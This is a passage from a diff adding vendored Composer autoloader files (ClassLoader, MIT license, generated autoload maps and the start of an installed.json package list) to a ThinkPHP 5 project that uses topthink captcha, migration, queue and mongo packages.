* $loader = new \Composer\Autoload\ClassLoader();
|
||||
*
|
||||
* // register classes with namespaces
|
||||
* $loader->add('Symfony\Component', __DIR__.'/component');
|
||||
* $loader->add('Symfony', __DIR__.'/framework');
|
||||
*
|
||||
* // activate the autoloader
|
||||
* $loader->register();
|
||||
*
|
||||
* // to enable searching the include path (eg. for PEAR packages)
|
||||
* $loader->setUseIncludePath(true);
|
||||
*
|
||||
* In this example, if you try to use a class in the Symfony\Component
|
||||
* namespace or one of its children (Symfony\Component\Console for instance),
|
||||
* the autoloader will first look for the class under the component/
|
||||
* directory, and it will then fallback to the framework/ directory if not
|
||||
* found before giving up.
|
||||
*
|
||||
* This class is loosely based on the Symfony UniversalClassLoader.
|
||||
*
|
||||
* @author Fabien Potencier <fabien@symfony.com>
|
||||
* @author Jordi Boggiano <j.boggiano@seld.be>
|
||||
* @see http://www.php-fig.org/psr/psr-0/
|
||||
* @see http://www.php-fig.org/psr/psr-4/
|
||||
*/
|
||||
class ClassLoader
|
||||
{
|
||||
// PSR-4
|
||||
private $prefixLengthsPsr4 = array();
|
||||
private $prefixDirsPsr4 = array();
|
||||
private $fallbackDirsPsr4 = array();
|
||||
|
||||
// PSR-0
|
||||
private $prefixesPsr0 = array();
|
||||
private $fallbackDirsPsr0 = array();
|
||||
|
||||
private $useIncludePath = false;
|
||||
private $classMap = array();
|
||||
private $classMapAuthoritative = false;
|
||||
private $missingClasses = array();
|
||||
private $apcuPrefix;
|
||||
|
||||
public function getPrefixes()
|
||||
{
|
||||
if (!empty($this->prefixesPsr0)) {
|
||||
return call_user_func_array('array_merge', $this->prefixesPsr0);
|
||||
}
|
||||
|
||||
return array();
|
||||
}
|
||||
|
||||
public function getPrefixesPsr4()
|
||||
{
|
||||
return $this->prefixDirsPsr4;
|
||||
}
|
||||
|
||||
public function getFallbackDirs()
|
||||
{
|
||||
return $this->fallbackDirsPsr0;
|
||||
}
|
||||
|
||||
public function getFallbackDirsPsr4()
|
||||
{
|
||||
return $this->fallbackDirsPsr4;
|
||||
}
|
||||
|
||||
public function getClassMap()
|
||||
{
|
||||
return $this->classMap;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array $classMap Class to filename map
|
||||
*/
|
||||
public function addClassMap(array $classMap)
|
||||
{
|
||||
if ($this->classMap) {
|
||||
$this->classMap = array_merge($this->classMap, $classMap);
|
||||
} else {
|
||||
$this->classMap = $classMap;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Registers a set of PSR-0 directories for a given prefix, either
|
||||
* appending or prepending to the ones previously set for this prefix.
|
||||
*
|
||||
* @param string $prefix The prefix
|
||||
* @param array|string $paths The PSR-0 root directories
|
||||
* @param bool $prepend Whether to prepend the directories
|
||||
*/
|
||||
public function add($prefix, $paths, $prepend = false)
|
||||
{
|
||||
if (!$prefix) {
|
||||
if ($prepend) {
|
||||
$this->fallbackDirsPsr0 = array_merge(
|
||||
(array) $paths,
|
||||
$this->fallbackDirsPsr0
|
||||
);
|
||||
} else {
|
||||
$this->fallbackDirsPsr0 = array_merge(
|
||||
$this->fallbackDirsPsr0,
|
||||
(array) $paths
|
||||
);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$first = $prefix[0];
|
||||
if (!isset($this->prefixesPsr0[$first][$prefix])) {
|
||||
$this->prefixesPsr0[$first][$prefix] = (array) $paths;
|
||||
|
||||
return;
|
||||
}
|
||||
if ($prepend) {
|
||||
$this->prefixesPsr0[$first][$prefix] = array_merge(
|
||||
(array) $paths,
|
||||
$this->prefixesPsr0[$first][$prefix]
|
||||
);
|
||||
} else {
|
||||
$this->prefixesPsr0[$first][$prefix] = array_merge(
|
||||
$this->prefixesPsr0[$first][$prefix],
|
||||
(array) $paths
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Registers a set of PSR-4 directories for a given namespace, either
|
||||
* appending or prepending to the ones previously set for this namespace.
|
||||
*
|
||||
* @param string $prefix The prefix/namespace, with trailing '\\'
|
||||
* @param array|string $paths The PSR-4 base directories
|
||||
* @param bool $prepend Whether to prepend the directories
|
||||
*
|
||||
* @throws \InvalidArgumentException
|
||||
*/
|
||||
public function addPsr4($prefix, $paths, $prepend = false)
|
||||
{
|
||||
if (!$prefix) {
|
||||
// Register directories for the root namespace.
|
||||
if ($prepend) {
|
||||
$this->fallbackDirsPsr4 = array_merge(
|
||||
(array) $paths,
|
||||
$this->fallbackDirsPsr4
|
||||
);
|
||||
} else {
|
||||
$this->fallbackDirsPsr4 = array_merge(
|
||||
$this->fallbackDirsPsr4,
|
||||
(array) $paths
|
||||
);
|
||||
}
|
||||
} elseif (!isset($this->prefixDirsPsr4[$prefix])) {
|
||||
// Register directories for a new namespace.
|
||||
$length = strlen($prefix);
|
||||
if ('\\' !== $prefix[$length - 1]) {
|
||||
throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
|
||||
}
|
||||
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
|
||||
$this->prefixDirsPsr4[$prefix] = (array) $paths;
|
||||
} elseif ($prepend) {
|
||||
// Prepend directories for an already registered namespace.
|
||||
$this->prefixDirsPsr4[$prefix] = array_merge(
|
||||
(array) $paths,
|
||||
$this->prefixDirsPsr4[$prefix]
|
||||
);
|
||||
} else {
|
||||
// Append directories for an already registered namespace.
|
||||
$this->prefixDirsPsr4[$prefix] = array_merge(
|
||||
$this->prefixDirsPsr4[$prefix],
|
||||
(array) $paths
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Registers a set of PSR-0 directories for a given prefix,
|
||||
* replacing any others previously set for this prefix.
|
||||
*
|
||||
* @param string $prefix The prefix
|
||||
* @param array|string $paths The PSR-0 base directories
|
||||
*/
|
||||
public function set($prefix, $paths)
|
||||
{
|
||||
if (!$prefix) {
|
||||
$this->fallbackDirsPsr0 = (array) $paths;
|
||||
} else {
|
||||
$this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Registers a set of PSR-4 directories for a given namespace,
|
||||
* replacing any others previously set for this namespace.
|
||||
*
|
||||
* @param string $prefix The prefix/namespace, with trailing '\\'
|
||||
* @param array|string $paths The PSR-4 base directories
|
||||
*
|
||||
* @throws \InvalidArgumentException
|
||||
*/
|
||||
public function setPsr4($prefix, $paths)
|
||||
{
|
||||
if (!$prefix) {
|
||||
$this->fallbackDirsPsr4 = (array) $paths;
|
||||
} else {
|
||||
$length = strlen($prefix);
|
||||
if ('\\' !== $prefix[$length - 1]) {
|
||||
throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
|
||||
}
|
||||
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
|
||||
$this->prefixDirsPsr4[$prefix] = (array) $paths;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Turns on searching the include path for class files.
|
||||
*
|
||||
* @param bool $useIncludePath
|
||||
*/
|
||||
public function setUseIncludePath($useIncludePath)
|
||||
{
|
||||
$this->useIncludePath = $useIncludePath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Can be used to check if the autoloader uses the include path to check
|
||||
* for classes.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function getUseIncludePath()
|
||||
{
|
||||
return $this->useIncludePath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Turns off searching the prefix and fallback directories for classes
|
||||
* that have not been registered with the class map.
|
||||
*
|
||||
* @param bool $classMapAuthoritative
|
||||
*/
|
||||
public function setClassMapAuthoritative($classMapAuthoritative)
|
||||
{
|
||||
$this->classMapAuthoritative = $classMapAuthoritative;
|
||||
}
|
||||
|
||||
/**
|
||||
* Should class lookup fail if not found in the current class map?
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function isClassMapAuthoritative()
|
||||
{
|
||||
return $this->classMapAuthoritative;
|
||||
}
|
||||
|
||||
/**
|
||||
* APCu prefix to use to cache found/not-found classes, if the extension is enabled.
|
||||
*
|
||||
* @param string|null $apcuPrefix
|
||||
*/
|
||||
public function setApcuPrefix($apcuPrefix)
|
||||
{
|
||||
$this->apcuPrefix = function_exists('apcu_fetch') && ini_get('apc.enabled') ? $apcuPrefix : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* The APCu prefix in use, or null if APCu caching is not enabled.
|
||||
*
|
||||
* @return string|null
|
||||
*/
|
||||
public function getApcuPrefix()
|
||||
{
|
||||
return $this->apcuPrefix;
|
||||
}
|
||||
|
||||
/**
|
||||
* Registers this instance as an autoloader.
|
||||
*
|
||||
* @param bool $prepend Whether to prepend the autoloader or not
|
||||
*/
|
||||
public function register($prepend = false)
|
||||
{
|
||||
spl_autoload_register(array($this, 'loadClass'), true, $prepend);
|
||||
}
|
||||
|
||||
/**
|
||||
* Unregisters this instance as an autoloader.
|
||||
*/
|
||||
public function unregister()
|
||||
{
|
||||
spl_autoload_unregister(array($this, 'loadClass'));
|
||||
}
|
||||
|
||||
/**
|
||||
* Loads the given class or interface.
|
||||
*
|
||||
* @param string $class The name of the class
|
||||
* @return bool|null True if loaded, null otherwise
|
||||
*/
|
||||
public function loadClass($class)
|
||||
{
|
||||
if ($file = $this->findFile($class)) {
|
||||
includeFile($file);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Finds the path to the file where the class is defined.
|
||||
*
|
||||
* @param string $class The name of the class
|
||||
*
|
||||
* @return string|false The path if found, false otherwise
|
||||
*/
|
||||
public function findFile($class)
|
||||
{
|
||||
// class map lookup
|
||||
if (isset($this->classMap[$class])) {
|
||||
return $this->classMap[$class];
|
||||
}
|
||||
if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
|
||||
return false;
|
||||
}
|
||||
if (null !== $this->apcuPrefix) {
|
||||
$file = apcu_fetch($this->apcuPrefix.$class, $hit);
|
||||
if ($hit) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
|
||||
$file = $this->findFileWithExtension($class, '.php');
|
||||
|
||||
// Search for Hack files if we are running on HHVM
|
||||
if (false === $file && defined('HHVM_VERSION')) {
|
||||
$file = $this->findFileWithExtension($class, '.hh');
|
||||
}
|
||||
|
||||
if (null !== $this->apcuPrefix) {
|
||||
apcu_add($this->apcuPrefix.$class, $file);
|
||||
}
|
||||
|
||||
if (false === $file) {
|
||||
// Remember that this class does not exist.
|
||||
$this->missingClasses[$class] = true;
|
||||
}
|
||||
|
||||
return $file;
|
||||
}
|
||||
|
||||
private function findFileWithExtension($class, $ext)
|
||||
{
|
||||
// PSR-4 lookup
|
||||
$logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;
|
||||
|
||||
$first = $class[0];
|
||||
if (isset($this->prefixLengthsPsr4[$first])) {
|
||||
$subPath = $class;
|
||||
while (false !== $lastPos = strrpos($subPath, '\\')) {
|
||||
$subPath = substr($subPath, 0, $lastPos);
|
||||
$search = $subPath.'\\';
|
||||
if (isset($this->prefixDirsPsr4[$search])) {
|
||||
foreach ($this->prefixDirsPsr4[$search] as $dir) {
|
||||
$length = $this->prefixLengthsPsr4[$first][$search];
|
||||
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $length))) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PSR-4 fallback dirs
|
||||
foreach ($this->fallbackDirsPsr4 as $dir) {
|
||||
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
|
||||
// PSR-0 lookup
|
||||
if (false !== $pos = strrpos($class, '\\')) {
|
||||
// namespaced class name
|
||||
$logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
|
||||
. strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
|
||||
} else {
|
||||
// PEAR-like class name
|
||||
$logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
|
||||
}
|
||||
|
||||
if (isset($this->prefixesPsr0[$first])) {
|
||||
foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
|
||||
if (0 === strpos($class, $prefix)) {
|
||||
foreach ($dirs as $dir) {
|
||||
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PSR-0 fallback dirs
|
||||
foreach ($this->fallbackDirsPsr0 as $dir) {
|
||||
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
|
||||
// PSR-0 include paths.
|
||||
if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
|
||||
return $file;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Scope isolated include.
|
||||
*
|
||||
* Prevents access to $this/self from included files.
|
||||
*/
|
||||
function includeFile($file)
|
||||
{
|
||||
include $file;
|
||||
}
|
||||
Vendored
+21
@@ -0,0 +1,21 @@
|
||||
|
||||
Copyright (c) Nils Adermann, Jordi Boggiano
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is furnished
|
||||
to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
<?php
|
||||
|
||||
// autoload_classmap.php @generated by Composer
|
||||
|
||||
$vendorDir = dirname(dirname(__FILE__));
|
||||
$baseDir = dirname($vendorDir);
|
||||
|
||||
return array(
|
||||
);
|
||||
Vendored
+13
@@ -0,0 +1,13 @@
|
||||
<?php
|
||||
|
||||
// autoload_files.php @generated by Composer
|
||||
|
||||
$vendorDir = dirname(dirname(__FILE__));
|
||||
$baseDir = dirname($vendorDir);
|
||||
|
||||
return array(
|
||||
'9b552a3cc426e3287cc811caefa3cf53' => $vendorDir . '/topthink/think-helper/src/helper.php',
|
||||
'1cfd2761b63b0a29ed23657ea394cb2d' => $vendorDir . '/topthink/think-captcha/src/helper.php',
|
||||
'ddc3cd2a04224f9638c5d0de6a69c7e3' => $vendorDir . '/topthink/think-migration/src/config.php',
|
||||
'cc56288302d9df745d97c934d6a6e5f0' => $vendorDir . '/topthink/think-queue/src/common.php',
|
||||
);
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
<?php
|
||||
|
||||
// autoload_namespaces.php @generated by Composer
|
||||
|
||||
$vendorDir = dirname(dirname(__FILE__));
|
||||
$baseDir = dirname($vendorDir);
|
||||
|
||||
return array(
|
||||
);
|
||||
Vendored
+17
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
// autoload_psr4.php @generated by Composer
|
||||
|
||||
$vendorDir = dirname(dirname(__FILE__));
|
||||
$baseDir = dirname($vendorDir);
|
||||
|
||||
return array(
|
||||
'think\\mongo\\' => array($vendorDir . '/topthink/think-mongo/src'),
|
||||
'think\\migration\\' => array($vendorDir . '/topthink/think-migration/src'),
|
||||
'think\\helper\\' => array($vendorDir . '/topthink/think-helper/src'),
|
||||
'think\\composer\\' => array($vendorDir . '/topthink/think-installer/src'),
|
||||
'think\\captcha\\' => array($vendorDir . '/topthink/think-captcha/src'),
|
||||
'think\\' => array($baseDir . '/thinkphp/library/think', $vendorDir . '/topthink/think-queue/src', $vendorDir . '/topthink/think-image/src'),
|
||||
'app\\' => array($baseDir . '/application'),
|
||||
'Phinx\\' => array($vendorDir . '/topthink/think-migration/phinx/src/Phinx'),
|
||||
);
|
||||
Vendored
+70
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
// autoload_real.php @generated by Composer
|
||||
|
||||
class ComposerAutoloaderInit73d5bf89285288576ea0882cc1337bd2
|
||||
{
|
||||
private static $loader;
|
||||
|
||||
public static function loadClassLoader($class)
|
||||
{
|
||||
if ('Composer\Autoload\ClassLoader' === $class) {
|
||||
require __DIR__ . '/ClassLoader.php';
|
||||
}
|
||||
}
|
||||
|
||||
public static function getLoader()
|
||||
{
|
||||
if (null !== self::$loader) {
|
||||
return self::$loader;
|
||||
}
|
||||
|
||||
spl_autoload_register(array('ComposerAutoloaderInit73d5bf89285288576ea0882cc1337bd2', 'loadClassLoader'), true, true);
|
||||
self::$loader = $loader = new \Composer\Autoload\ClassLoader();
|
||||
spl_autoload_unregister(array('ComposerAutoloaderInit73d5bf89285288576ea0882cc1337bd2', 'loadClassLoader'));
|
||||
|
||||
$useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
|
||||
if ($useStaticLoader) {
|
||||
require_once __DIR__ . '/autoload_static.php';
|
||||
|
||||
call_user_func(\Composer\Autoload\ComposerStaticInit73d5bf89285288576ea0882cc1337bd2::getInitializer($loader));
|
||||
} else {
|
||||
$map = require __DIR__ . '/autoload_namespaces.php';
|
||||
foreach ($map as $namespace => $path) {
|
||||
$loader->set($namespace, $path);
|
||||
}
|
||||
|
||||
$map = require __DIR__ . '/autoload_psr4.php';
|
||||
foreach ($map as $namespace => $path) {
|
||||
$loader->setPsr4($namespace, $path);
|
||||
}
|
||||
|
||||
$classMap = require __DIR__ . '/autoload_classmap.php';
|
||||
if ($classMap) {
|
||||
$loader->addClassMap($classMap);
|
||||
}
|
||||
}
|
||||
|
||||
$loader->register(true);
|
||||
|
||||
if ($useStaticLoader) {
|
||||
$includeFiles = Composer\Autoload\ComposerStaticInit73d5bf89285288576ea0882cc1337bd2::$files;
|
||||
} else {
|
||||
$includeFiles = require __DIR__ . '/autoload_files.php';
|
||||
}
|
||||
foreach ($includeFiles as $fileIdentifier => $file) {
|
||||
composerRequire73d5bf89285288576ea0882cc1337bd2($fileIdentifier, $file);
|
||||
}
|
||||
|
||||
return $loader;
|
||||
}
|
||||
}
|
||||
|
||||
function composerRequire73d5bf89285288576ea0882cc1337bd2($fileIdentifier, $file)
|
||||
{
|
||||
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
|
||||
require $file;
|
||||
|
||||
$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
|
||||
}
|
||||
}
|
||||
Vendored
+81
@@ -0,0 +1,81 @@
|
||||
<?php
|
||||
|
||||
// autoload_static.php @generated by Composer
|
||||
|
||||
namespace Composer\Autoload;
|
||||
|
||||
class ComposerStaticInit73d5bf89285288576ea0882cc1337bd2
|
||||
{
|
||||
public static $files = array (
|
||||
'9b552a3cc426e3287cc811caefa3cf53' => __DIR__ . '/..' . '/topthink/think-helper/src/helper.php',
|
||||
'1cfd2761b63b0a29ed23657ea394cb2d' => __DIR__ . '/..' . '/topthink/think-captcha/src/helper.php',
|
||||
'ddc3cd2a04224f9638c5d0de6a69c7e3' => __DIR__ . '/..' . '/topthink/think-migration/src/config.php',
|
||||
'cc56288302d9df745d97c934d6a6e5f0' => __DIR__ . '/..' . '/topthink/think-queue/src/common.php',
|
||||
);
|
||||
|
||||
public static $prefixLengthsPsr4 = array (
|
||||
't' =>
|
||||
array (
|
||||
'think\\mongo\\' => 12,
|
||||
'think\\migration\\' => 16,
|
||||
'think\\helper\\' => 13,
|
||||
'think\\composer\\' => 15,
|
||||
'think\\captcha\\' => 14,
|
||||
'think\\' => 6,
|
||||
),
|
||||
'a' =>
|
||||
array (
|
||||
'app\\' => 4,
|
||||
),
|
||||
'P' =>
|
||||
array (
|
||||
'Phinx\\' => 6,
|
||||
),
|
||||
);
|
||||
|
||||
public static $prefixDirsPsr4 = array (
|
||||
'think\\mongo\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/topthink/think-mongo/src',
|
||||
),
|
||||
'think\\migration\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/topthink/think-migration/src',
|
||||
),
|
||||
'think\\helper\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/topthink/think-helper/src',
|
||||
),
|
||||
'think\\composer\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/topthink/think-installer/src',
|
||||
),
|
||||
'think\\captcha\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/topthink/think-captcha/src',
|
||||
),
|
||||
'think\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/../..' . '/thinkphp/library/think',
|
||||
1 => __DIR__ . '/..' . '/topthink/think-queue/src',
|
||||
2 => __DIR__ . '/..' . '/topthink/think-image/src',
|
||||
),
|
||||
'app\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/../..' . '/application',
|
||||
),
|
||||
'Phinx\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/topthink/think-migration/phinx/src/Phinx',
|
||||
),
|
||||
);
|
||||
|
||||
public static function getInitializer(ClassLoader $loader)
|
||||
{
|
||||
return \Closure::bind(function () use ($loader) {
|
||||
$loader->prefixLengthsPsr4 = ComposerStaticInit73d5bf89285288576ea0882cc1337bd2::$prefixLengthsPsr4;
|
||||
$loader->prefixDirsPsr4 = ComposerStaticInit73d5bf89285288576ea0882cc1337bd2::$prefixDirsPsr4;
|
||||
|
||||
}, null, ClassLoader::class);
|
||||
}
|
||||
}
|
||||
Vendored
+340
@@ -0,0 +1,340 @@
|
||||
[
|
||||
{
|
||||
"name": "topthink/think-installer",
|
||||
"version": "v1.0.12",
|
||||
"version_normalized": "1.0.12.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/top-think/think-installer.git",
|
||||
"reference": "1be326e68f63de4e95977ed50f46ae75f017556d"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://files.phpcomposer.com/files/top-think/think-installer/1be326e68f63de4e95977ed50f46ae75f017556d.zip",
|
||||
"reference": "1be326e68f63de4e95977ed50f46ae75f017556d",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"composer-plugin-api": "^1.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"composer/composer": "1.0.*@dev"
|
||||
},
|
||||
"time": "2017-05-27T06:58:09+00:00",
|
||||
"type": "composer-plugin",
|
||||
"extra": {
|
||||
"class": "think\\composer\\Plugin"
|
||||
},
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"think\\composer\\": "src"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"Apache-2.0"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "yunwuxin",
|
||||
"email": "448901948@qq.com"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "topthink/framework",
|
||||
"version": "v5.0.12",
|
||||
"version_normalized": "5.0.12.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/top-think/framework.git",
|
||||
"reference": "0fb51680e8d62495d27f17a0e6cf889b763a6d3c"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://files.phpcomposer.com/files/top-think/framework/0fb51680e8d62495d27f17a0e6cf889b763a6d3c.zip",
|
||||
"reference": "0fb51680e8d62495d27f17a0e6cf889b763a6d3c",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": ">=5.4.0",
|
||||
"topthink/think-installer": "~1.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"johnkary/phpunit-speedtrap": "^1.0",
|
||||
"mikey179/vfsstream": "~1.6",
|
||||
"phpdocumentor/reflection-docblock": "^2.0",
|
||||
"phploc/phploc": "2.*",
|
||||
"phpunit/phpunit": "4.8.*",
|
||||
"sebastian/phpcpd": "2.*"
|
||||
},
|
||||
"time": "2017-11-06T01:19:03+00:00",
|
||||
"type": "think-framework",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"think\\": "library/think"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"Apache-2.0"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "liu21st",
|
||||
"email": "liu21st@gmail.com"
|
||||
}
|
||||
],
|
||||
"description": "the new thinkphp framework",
|
||||
"homepage": "http://thinkphp.cn/",
|
||||
"keywords": [
|
||||
"framework",
|
||||
"orm",
|
||||
"thinkphp"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "topthink/think-captcha",
|
||||
"version": "v1.0.7",
|
||||
"version_normalized": "1.0.7.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/top-think/think-captcha.git",
|
||||
"reference": "0c55455df26a1626a60d0dc35d2d89002b741d44"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://files.phpcomposer.com/files/top-think/think-captcha/0c55455df26a1626a60d0dc35d2d89002b741d44.zip",
|
||||
"reference": "0c55455df26a1626a60d0dc35d2d89002b741d44",
|
||||
"shasum": ""
|
||||
},
|
||||
"time": "2016-07-06T01:47:11+00:00",
|
||||
"type": "library",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"think\\captcha\\": "src/"
|
||||
},
|
||||
"files": [
|
||||
"src/helper.php"
|
||||
]
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"Apache-2.0"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "yunwuxin",
|
||||
"email": "448901948@qq.com"
|
||||
}
|
||||
],
|
||||
"description": "captcha package for thinkphp5"
|
||||
},
|
||||
{
|
||||
"name": "topthink/think-migration",
|
||||
"version": "v1.1.1",
|
||||
"version_normalized": "1.1.1.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/top-think/think-migration.git",
|
||||
"reference": "8e489f8d38a39876690c0e00fcf9a54ae92c4d3d"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://files.phpcomposer.com/files/top-think/think-migration/8e489f8d38a39876690c0e00fcf9a54ae92c4d3d.zip",
|
||||
"reference": "8e489f8d38a39876690c0e00fcf9a54ae92c4d3d",
|
||||
"shasum": ""
|
||||
},
|
||||
"require-dev": {
|
||||
"topthink/framework": "^5.0"
|
||||
},
|
||||
"time": "2017-03-31T06:33:23+00:00",
|
||||
"type": "library",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Phinx\\": "phinx/src/Phinx",
|
||||
"think\\migration\\": "src"
|
||||
},
|
||||
"files": [
|
||||
"src/config.php"
|
||||
]
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"Apache-2.0"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "yunwuxin",
|
||||
"email": "448901948@qq.com"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "topthink/think-helper",
|
||||
"version": "v1.0.6",
|
||||
"version_normalized": "1.0.6.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/top-think/think-helper.git",
|
||||
"reference": "0c99dc625b0d2d4124e1b6ca15a3ad6f0125963f"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://files.phpcomposer.com/files/top-think/think-helper/0c99dc625b0d2d4124e1b6ca15a3ad6f0125963f.zip",
|
||||
"reference": "0c99dc625b0d2d4124e1b6ca15a3ad6f0125963f",
|
||||
"shasum": ""
|
||||
},
|
||||
"time": "2017-04-05T07:15:37+00:00",
|
||||
"type": "library",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"think\\helper\\": "src"
|
||||
},
|
||||
"files": [
|
||||
"src/helper.php"
|
||||
]
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"Apache-2.0"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "yunwuxin",
|
||||
"email": "448901948@qq.com"
|
||||
}
|
||||
],
|
||||
"description": "The ThinkPHP5 Helper Package"
|
||||
},
|
||||
{
|
||||
"name": "topthink/think-mongo",
|
||||
"version": "v1.7",
|
||||
"version_normalized": "1.7.0.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/top-think/think-mongo.git",
|
||||
"reference": "fc552c8fe5798679a52f4f0d7e60763f64aeb155"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://files.phpcomposer.com/files/top-think/think-mongo/fc552c8fe5798679a52f4f0d7e60763f64aeb155.zip",
|
||||
"reference": "fc552c8fe5798679a52f4f0d7e60763f64aeb155",
|
||||
"shasum": ""
|
